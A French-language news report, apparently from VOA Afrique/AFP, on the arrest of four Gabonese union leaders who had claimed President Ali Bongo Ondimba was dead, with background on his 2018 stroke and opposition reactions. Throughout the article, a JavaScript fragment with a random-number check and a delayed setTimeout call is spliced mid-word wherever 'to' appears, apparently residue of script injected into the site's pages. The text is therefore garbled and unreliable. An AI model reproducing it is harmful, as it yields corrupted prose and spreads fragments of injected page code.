Gabon: Santé du président Bongo : 4 dirigeants syndicaux arrêtés

Quatre responsables de la principale coalition syndicale du Gabon on été interpellés depuis mercredi, a affirmé leur organisation qui avait déclaré début juillet que le président gabonais Ali Bongo Ondimba était mort.

Une “répression contre les leaders de la Confédération Syndicale Dynamique Unitaire par le gouvernement gabonais s’est enclenchée depuis ce mercredi”, a déclaré vendredi la coalition syndicale dans un communiqué.

Quatre de ses responsables “ont été enlevés à leur domicile (…) par des agents cagoulés de la police judiciaire et de la gendarmerie nationale”, a-t-elle affirmé.

Sollicité par l’AFP, le parquet de Libreville n’était pas joignable vendredi en fin d’après-midi pour confirmer ces arrestations.

Début juillet, le président de Dynamique Unitaire Jean Rémy Yama, avait déclaré lors d’une conférence de presse que son organisation “avait l’intime conviction que le chef de l’Etat Ali Bongo Ondimba est mort. Il n’existe plus”.

Après ces déclarations, le gouvernement gabonais avait menacé le responsable syndical de “poursuites pénales pour propagation de fausses informations”.

Le président Bongo a été victime fin ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobre 2018 d’un accident vasculaire-cérébral (AVC) dont il se remet actuellement.

Après cinq mois de convalescence à l’étranger, Ali Bongo est rentré le 23 mars à Libreville pour un “redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour définitif”.

Ce redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour devait notamment faire taire l’opposition qui réclame que la vacance du pouvoir soit déclarée et s’interroge sur la capacité du président Bongo à diriger le pays.

Hormis deux discours enregistrés et retransmis à la télévision, le chef de l’Etat gabonais ne s’est pas exprimé en public depuis son AVC.

Après son redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tour, il a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toutefois multiplié les entretiens au palais présidentiel avec des chefs d’Etat africains. Vendredi, il s’est entretenu avec le président équadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toguinéen Teodoro Obiang Nguema.

Jeudi, il a effectué un déplacement dans les rues de Libreville, installé sur le siège passager d’une voiture décapotable, selon la presse locale.

Les arrestations des quatre leaders syndicaux ont été dénoncées par plusieurs membres de l’opposition, dont Jean Ping, cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat malheureux à l’élection présidentielle de 2016 qui revendique dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toujours sa vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire.

“Nous condamnons fermement cette énième violation des droits fondamentaux des Gabonais”, a-t-il déclaré à l’AFP, estimant qu’il s’agissait d’une “volonté d’un pouvoir rejeté par les Gabonais de se maintenir par la force et par l’intimidation”.

Petit pays pétrolier d’Afrique centrale, le Gabon est dirigé depuis 2009 par Ali Bongo Ondimba. Il avait succédé à son père, Omar Bongo Ondimba, arrivé au pouvoir en 1967.

Source: VOAAFRIQUE

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